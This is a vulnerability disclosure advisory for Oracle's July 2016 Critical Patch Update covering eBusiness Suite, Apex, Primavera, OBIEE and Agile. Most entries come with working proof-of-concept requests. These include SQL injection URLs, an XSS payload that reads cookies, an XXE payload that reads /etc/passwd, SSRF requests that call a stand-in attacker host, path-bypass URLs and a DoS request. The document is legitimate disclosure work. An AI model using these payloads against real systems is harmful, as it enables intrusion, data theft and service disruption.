Oracle July 2016 Critical Patch Update

David Litchfield (david@davidlitchfield.com)

July 19th 2016

Contents

Introduction

Oracle released a Critical Patch Update on the 19th July 2016 .This document details those issues discovered by the author. The CPU can be found here:
http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html

Vulnerabilities in eBusiness Suite R12

OLAP DML Injection in the Oracle OLAP Web Agent servlet

The Oracle OLAP Web Agent servlet is vulnerable to OLAP DML Injection. For example, to call analytic workspace object foo.bar one would be request:

http://example.com/OA_HTML/oowa/XXX?FOO.BAR

OLAP DML Injection is explained in the following document:
http://www.davidlitchfield.com/OLAPDMLInjection.pdf

SQL Injection in iexdlrcd.jsp, iexdlrcs.jsp iexrprcd.jsp, iexrprcs.jsp and iexrpval.jsp

The SQL injection vulnerabilities in `iexdlrcd.jsp, iexdlrcs.jsp, iexrprcd.jsp, iexrprcs.jsp` and `iexrpval.jsp` all lie in the `IEXReconciliationReport` Java class `getCollectorCampaignSummary()` method via the `pPromiseStatus` parameter.

```
VectoroutputCount       =
        IEXReconciliationReport.getCollectorCampaignSummary
                  (conn                    ,
                   Integer.parseInt(pUserId.trim())    ,
                   Integer.parseInt(pPeopleCount.trim())     ,
                   Integer.parseInt(pReportLevel.trim())     ,
                   Integer.parseInt(pCollectorId.trim())     ,
                   Integer.parseInt(pScheduleId.trim())      ,
                   Integer.parseInt(pPartyId.trim())   ,
```

```
Integer.parseInt(pStartIndex.trim())      ,
Integer.parseInt(pEndIndex.trim())  ,
""                          ,
pDateFrom                   ,
pDateTo                     ,
pCurrency                   ,
pGroupBy                    ,
_prompts[26]                      ,
"COUNT",
pPromiseState,
pPromiseStatus) ;
```

SQL Injection in jtfcsvrendertask.jsp

The `jtfcsvrendertask.jsp` page takes an SQL statement and executes it via a parameter called `sqlQuery`.

SQL Injection in jtfnotesalltest.jsp

`jtfNotesAllTest.jsp` includes `jtfNotesAllWrapper.jsp` which includes `jtfNotesAllBody.jsp` which inlcudes `jtfNotesAllGetSess.jsp` which collects the user supplied parameters; `jtfNotesAllBody.jsp` then passes these parameters to the `jtfNotesQueryPvtBean.retrieveAllNotes()` method without validation:

```
jtfNotesQueryPvtBean queryNotes = new jtfNotesQueryPvtBean();

Vector notesRows = queryNotes.retrieveAllNotes(notesConn,
                                               paramwhereClause,
                                               paramorderClause,
                                               allSrceObjCode,
                                               allSrceObjId,
                                               paramnotetype,
                                               paramnoofday,
                                               paramviewind,
                                               allUserID,
                                               paramBindVariables,
                                               notePageBean,
                                               allSelectPredicate);
```

It can be exploited via the `whereClause` parameter and the `orderClause` parameters.

SQL Injection in csklIseo.jsp

There is a SQL injection flaw via `csklIseo.jsp` using the `nWhereClause` parameter as well as `nFromTable, nSelectName, nSelectDetails,` etc. `csklIseo.jsp` includes `csklIsei.jsp` which reads user parameters then passes these to `oracle.apps.cs.knowledge.bean.ExternalLinkPvt.findExternalObjects()`:

Note: `linkpvt` is created by `csklseo.jsp`

```
externalObjectsVector = linkpvt.findExternalObjects(selectId,
                                                    selectName,
                                                    selectDetails,
                                                    fromTable,
                                                    whereClause,
                                                    orderByClause,
                                                    fieldValue1,
                                                    fieldValue2,
                                                    new
java.math.BigDecimal((new Long(startIndexNo)).doubleValue()),
                                                    new
java.math.BigDecimal((new Long(batchSize)).doubleValue()),
                                                    true,
                                                    xTotalCount,
                                                    _connection);
```

Inadequate controls on JSP forwards (access to non-jsp/html pages)

Several JSPs perform a jsp forward based on user-input. For example consider iemsa_customersearchincl.jsp. It contains the following code:

```
  String forwardPage = request.getParameter("cforwardPage");
%>

<%
if (forwardPage != null && forwardPage.length() > 0)
{
%>
<!--fortify fix -->
<jsp:forward
page='<%=oracle.apps.jtf.util.SecurityCrossScript.process(forwardPage
)%>'/>
```

This is a problem because if access to a specific JSP has been blocked by a Location directive, for example, access can be gained by using the ad-hoc jsp forward.

https://example.com/OA_HTML/iemsa_customersearch.jsp?cforwardPage=SRseed.html

https://example.com/OA_HTML/iemsa_kbcat.jsp?forwardPage=SRseed.html

Or

https://example.com/OA_HTML/iemsa_customersearch.jsp?cforwardPage=/bin/appsweb.cfg

Looking at this further in eBusiness Suite 11i, bisakrgn.jsp is vulnerable to SQL injection a direct access to it is blocked now. There are many extant JSPs execute a JSP forward based on user input. For example, if a JSP contains similar to the following code

```
<jsp:forward page="<%= request.getParameter(\"foo\") %>"/>
```

It can be used to gain access to bisakrgn.jsp again. The following JSPs perform arbitrary JSP forwards and so can be abused to gain access to “forbidden” content:

https://example.com/OA_HTML/qotSCopAddSvc.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/qotSCopIBSrch.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/qotSCopModSvc.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/qotSCopPOSrch.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/qotSSppSalesSupplement.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/qotSSrpSvdSrch.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/qotSSrpSvdSrchList.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/qotSTppTmplCreate.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

https://example.com/OA_HTML/jtfbinperzedit.jsp?event=save&jtfBinId=1&jtfbinperzfavorName=X&jtfbinperzfavorDesc=foo&jtfbinperzfavorId=1&&jtfbinreturnURL=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

Trusted.conf Location directives are ineffective
The trusted.conf configuration file lists a number of locations that users should not be able to access. Many of these can be bypassed by adding an extra forward slash. For example: Access to /dms0 is prevented to with the following Location directive

```
<Location ~ "^/dms0">
 Order deny,allow
 Deny from all
...
</Location>
```

By adding another forward slash we can gain access: https://example//dms0

Here are some more examples of "protected" URLs using Location incorrectly.

From EBS 11.5
https://example.com/oa_servlets//IsItWorking
https://example.com/oa_servlets//oracle.apps.fnd.oam.jserv.OAMJservSumm?host=localhost&port=8102&proc=http
https://example.com/oa_servlets//oracle.xml.xsql.XSQLServlet
https://example.com/oa_servlets//oracle.apps.fnd.oam.jserv.OAMDBConnAndAM?debug=y
https://example.com//OA_HTML//bin/pasta.cfg

From EBS 12.2
https://example.com/OA_HTML//jtfwrepo.xml
https://example.com//OA_HTML//bin/pasta.cfg
https://example.com//OA_HTML//bin/appsweb.cfg
https://example.com//OA_HTML//oam/Monitor.uix

Debug mode in OAMDBConnAndAM dumps cookie
By combining the Location directive bypass and adding a debug parameter and setting it to "y" it will cause a user's cookie to be dumped making it accessible to scripts.

https://example.com/oa_servlets//oracle.apps.fnd.oam.jserv.OAMDBConnAndAM?debug=y

XSS in BneApplicationService
If the bne page requested is `BneMsgBox` the `bne:messagexml` parameter is read in. The `bne:text` and `bne:cause` XML attributes in the `bne:messagexml` are written back to the client. Whilst there is some attempt to protect against XSS in the BneApplicationService, it can be bypassed by using XML internal entities. Note - this also bypasses Chrome's built-in XSS

filter, too. For example, the URL below will write <script>alert(document.cookie);</script> to the returned web page and execute:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20root%20%5B%3C%21ELEMENT%20author%20%28%23PCDATA%29%3E%3C%21ENTITY%20xxx%20%22ript%26gt;alert%28document.cookie%29;%26lt;/scrip%22%3E%3C%21ENTITY%20zzz%20%22%26lt%3Bsc%26xxx%3Bt%26gt%3B%22%3E%5D%3E%3Cmessage%3E%3Cbne%3Ax%20xmlns%3Abne%3D%22http%3A//www.w3.org/TR/html4/%22%20bne%3Atext%3D%22%26zzz%3B%22%20bne%3Acause%3D%22More+input%22%3EAAAAAAAAAAAAAAAAAA%3C/bne%3Ax%3E%3C/message%3E&event=NoEvent

Open redirect in BneApplicationService
The following URL will redirect the user to the website in the bne:redirect parameter.

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneFileDownload&bne:redirect=http://www.davidlitchfield.com/

Session spoofing in AOLJ test pages
The Diagnostic Test URL can be found at: https://example.com/OA_HTML/jsp/fnd/aoljtest.jsp

It requires a username, password, hostname, SID and port for a backend database server. Rather than providing the details for the real database server, an attacker can enter the details to a system they own (providing of course the vulnerable web server can connect out). This then gives them a session cookie to use the Diagnostic Tests. There's actually two cookies and one has a name of "dbc" with a value set for the dbc file of the system authenticated against. By changing this dbc cookie to name of the dbc file on the actual victim then the attacker can gain access to sensitive information and clear text passwords and, because they have an authorized session cookie, they can access the other diagnostic test JSPs.

Both eBusiness Suite R12.2 and 11.5 are vulnerable.

DoS in BarcodeImageServlet
By sending large values to the BarCodeImageServlet servlet an attacker can create a denial of service condition on the web server as it attempts to create a large image:

http://example.com/OA_HTML/BarCodeImageServlet?input=ABC&xDimension=2000&height=2000&border=1

```
CPU usage:
  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
```

```
 1896 applmgr   20   0 8098m 1.1g  58m S ***200.1***  0.9 221:33.25 java
```

XXE in AppSearchMeta Servlet in OAFM (Oracle Application Fusion Middleware)
The AppSearchMeta Servlet in OAFM is vulnerable to an External Xml Entity attack

https://example.com/webservices/AppSearchMeta/foo?RequestMessage=%3C?xml%20version=%221.0%22%20encoding=%22UTF-8%22?%3E%3C!DOCTYPE%20foo%20[%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file:///etc/passwd%22%20%3E]%3E%3CmessageType%3E%26xxe;%3C/messageType%3E

Vulnerabilities in Apex

XSS in Apex HTMLDB_UTIL (CVE-2016-3467)
The HTMLDB_UTIL PL/SQL package is vulnerable to a XSS flaw. To access it the schema (APEX_050000) needs to be specified first however because the config file whitelists apex*

http://example.com/ords/apex_050000.htmldb_util.JSON_FROM_ARRAY?P_COLS=1&P_NAME01=XX%22%3E%3CH1%3EOops%3C/H1%3E&P_F01=Y&P_ROWS=1

SSRF in Apex 5 (CVE-2016-3448)
Apex 5 is vulnerable to a server side request forgery flaw i.e. it can be made to connect to another web server and port - regardless of whether "allowed URLs" have been configured. For example the request below will connect to "someotherserver" on port and POST X as a payload. This can be used as a port scanning mechanism, used to attack systems protected by a firewall etc, etc

http://example/ords/apex_050000.WWV_FLOW_WEBSERVICES_API.MAKE_REQUEST?P_URL=http://someotherserver:port&p_envelope=X

Vulnerabilities in Oracle Primavera

SQL Injection OpenProjectsRemote

On reviewing the source code of the class file we can the following for the `getOpenedProjectUserInfo` method:

```
public static Map<String, Set<String>>
getOpenedProjectUserInfo(Collection<String> projectWbsIds, PRequest
request)
    throws PhoenixException
  {
    Map<String, Set<String>> result = new HashMap();
    try
    {
      StringBuilder sb = new StringBuilder();
      sb.append("select
projwbs.wbs_id,projshar.proj_id,projshar.session_id,usession.user_id
from projshar,usession,projwbs where ");
      sb.append(" projshar.proj_id IN (select proj_id from projwbs
where ").append(SQLStatementUtil.getKeyORClause("projwbs.wbs_id",
projectWbsIds));
...
...
```

Highlighted in bold we can see that a project id is concatenated to an SQL query which is later executed. If we make the appropriate request to the server and modify it using Burp instead of an actual project ID we send a call to the absolute function: "`abs(9)`" and then search for it in `V$SQL`:

```
POST /p6/action/OpenProjectsRemote?ActionParam=GetProjUsers HTTP/1.1
Content-Type: application/x-java-serialized-object
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/4.0
Host: example.com:8000
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 101
Cookie: <redacted>
Connection: close

xí sr java.util.HashMap xxx xx F
loadFactorI     thresholdxp?@w t projectt abs(9)x
```

If we then look in `V$SQL` in the database for '`%abs(%`' we see our `abs(9)`

```
select
projwbs.wbs_id,projshar.proj_id,projshar.session_id,usession.user_id
from projshar,usession,projwbs where  projshar.proj_id IN (select
proj_id from projwbs where (projwbs.wbs_id = abs(9)) and
```

```
projwbs.proj_node_flag = 'Y' )  and projshar.session_id =
usession.session_id and usession.user_id <> :1  and projshar.proj_id
= projwbs.proj_id and projwbs.proj_node_flag = 'Y' and
projshar.access_lev
el <> :2
```

From this point on exploitation is trivial.

XSS Filter Bypass
See http://www.davidlitchfield.com/BypassingtheOraclePrimaveraXSSFilter.pdf

SSRF in Primavera
It's possible to make a Primavera web server connect to an arbitrary host and request a web page via the RSSProviderServlet. If that host and web page are under the control of an attacker they can embed javascript and steal cookies etc

http://example.com:8000/p6/rss/?url=http://attacker.com/foo.htm

Multiple XSSes in Primavera
The following pages are vulnerable to XSS in Primavera

```
rm_usage_view.jsp
phoenix_proj_print.jsp
pm_gantt_customize.jsp
nrm_initconfig.inc
applet_node_remove.jsp
```

Vulnerabilities in OBIEE

The OBIEE HttpHeader function is vulnerable to XSS and leaks an admin user's cookie:

https://example.com/analytics/saw.dll/%3CH1%3EOoops%3C/H1%3E?HttpHeader&foo=%3CH2%3Ebar%3C/H2%3E

If a non-admin user is logged on then only the Query String is echoed back:

```
HTTP Headers suppressed for non-admin user.

Resolved Arguments
------------------
foo=
bar <-----XSS here
```

```
Server variables suppressed for non-admin user.
```

If an admin user logged on however, the cookie is also leaked and the path_info also contains an XSS

Vulnerabilities in Agile

Index Privileges on SYS tables
The AGILE user has been granted INDEX privileges on the following SYS owned tables:

```
SYS.IDS_TAB
SYS.FLAGS_TAB
SYS.TMP_BOM
```

This allows the AGILE user to create function based indexes on these tables and the functions execute as SYS allowing for a complete compromise of the database.

SQL Injection in AGILE.MIGRATE_DASHBOARD_DATA
The MIGRATE_DASHBOARD_DATA procedure owned by AGILE is vulnerable to SQL injection via columnName parameter:

```
PROCEDURE "MIGRATE_DASHBOARD_DATA" (attributeId number, columnName
varchar2) as
...
...
 stmt := 'select id, '||columnName  ||' as columnValue from activity
where '||columnName ||'= '',-1,'' and not exists (select value from
msatt where parentid = activity.id and attid = '||attributeId||')';
...
  open activityCur for stmt ;
  loop
    fetch activityCur into actId, columnVal1;
...
...
    stmt := 'update activity set '|| columnName || ' = '''||
entryIdsCSV || ''' where id = '||actId;
```

```
...
    execute immediate stmt;
```